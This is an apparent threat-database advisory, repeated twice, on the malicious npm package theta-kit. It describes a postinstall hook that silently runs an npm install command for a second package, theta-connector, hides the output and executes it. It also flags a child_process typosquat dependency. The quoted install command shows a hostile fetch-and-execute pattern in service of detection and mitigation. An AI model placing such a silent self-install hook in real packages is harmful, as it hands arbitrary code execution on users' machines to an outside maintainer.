Malicious code in theta-kit (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (09b0737ff5b0b0768e2314b014529b80609632a38dfdc3a9ad6cfd6ab1da9039) package.json declares `postinstall: node dist/index.js`, and dist/index.js executes `Model.resetor()` at module top level — meaning both `npm install theta-kit` and `require('theta-kit')` hand control to a separate package, 'theta-connector'. resetor() instantiates `new ThetaConnector({})` and calls `db.queryDBConnect()`. If 'theta-connector' is not present, the catch branch silently runs `execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent')` and then `require`s and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on `child_process@^1.0.2`, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit. ## Source: ghsa-malware (da0964ff798940752e30878dc90ffb51aca217020a2da059bc8834f95963cbac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The 'theta-kit' npm package (versions 1.0.0, 1.0.1, 1.0.2, and 1.0.3) includes a postinstall script that runs 'dist/index.js', which calls 'Model.resetor()'. This function attempts to instantiate and execute code from a separate package 'theta-connector'. If 'theta-connector' is not present, it is silently installed and then executed without user awareness. The actual malicious code resides in 'theta-connector', which is not included in the 'theta-kit' tarball, allowing its code to change independently. Additionally, 'theta-kit' declares a runtime dependency on a registry package named 'child_process', which is unrelated to Node.js's built-in module, creating another execution vector controlled by the attacker. This design enables the maintainer of 'theta-connector' to execute arbitrary code on every install or require of 'theta-kit', effectively compromising the host system.
Potential Impact
Systems with 'theta-kit' versions 1.0.0 to 1.0.3 installed or running are fully compromised, as arbitrary code execution occurs during installation and runtime. Attackers gain full control over the affected computer, risking exposure of all stored secrets and keys. Removal of the package does not guarantee elimination of all malicious artifacts due to the potential for persistent compromise.
Mitigation Recommendations
Immediate removal of the 'theta-kit' package versions 1.0.0 through 1.0.3 is required. All secrets and keys stored on affected systems should be rotated from a separate, trusted environment. Due to the high likelihood of full system compromise, a thorough incident response and system rebuild may be necessary. No official patch or fix is currently available; users should avoid installing or using this package. Monitor for any presence of 'theta-kit' or 'theta-connector' in your environment and block their installation.
Malicious code in theta-kit (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (09b0737ff5b0b0768e2314b014529b80609632a38dfdc3a9ad6cfd6ab1da9039) package.json declares `postinstall: node dist/index.js`, and dist/index.js executes `Model.resetor()` at module top level — meaning both `npm install theta-kit` and `require('theta-kit')` hand control to a separate package, 'theta-connector'. resetor() instantiates `new ThetaConnector({})` and calls `db.queryDBConnect()`. If 'theta-connector' is not present, the catch branch silently runs `execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent')` and then `require`s and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on `child_process@^1.0.2`, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit. ## Source: ghsa-malware (da0964ff798940752e30878dc90ffb51aca217020a2da059bc8834f95963cbac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'theta-kit' npm package (versions 1.0.0, 1.0.1, 1.0.2, and 1.0.3) includes a postinstall script that runs 'dist/index.js', which calls 'Model.resetor()'. This function attempts to instantiate and execute code from a separate package 'theta-connector'. If 'theta-connector' is not present, it is silently installed and then executed without user awareness. The actual malicious code resides in 'theta-connector', which is not included in the 'theta-kit' tarball, allowing its code to change independently. Additionally, 'theta-kit' declares a runtime dependency on a registry package named 'child_process', which is unrelated to Node.js's built-in module, creating another execution vector controlled by the attacker. This design enables the maintainer of 'theta-connector' to execute arbitrary code on every install or require of 'theta-kit', effectively compromising the host system.
Potential Impact
Systems with 'theta-kit' versions 1.0.0 to 1.0.3 installed or running are fully compromised, as arbitrary code execution occurs during installation and runtime. Attackers gain full control over the affected computer, risking exposure of all stored secrets and keys. Removal of the package does not guarantee elimination of all malicious artifacts due to the potential for persistent compromise.
Mitigation Recommendations
Immediate removal of the 'theta-kit' package versions 1.0.0 through 1.0.3 is required. All secrets and keys stored on affected systems should be rotated from a separate, trusted environment. Due to the high likelihood of full system compromise, a thorough incident response and system rebuild may be necessary. No official patch or fix is currently available; users should avoid installing or using this package. Monitor for any presence of 'theta-kit' or 'theta-connector' in your environment and block their installation.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5706
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-ccpw-cfwc-qgw4"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a4c341227e9c797195f7c7e
Added to database: 07/06/2026, 23:02:42 UTC
Last enriched: 07/07/2026, 00:36:54 UTC
Last updated: 07/29/2026, 09:25:33 UTC
Views: 6
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.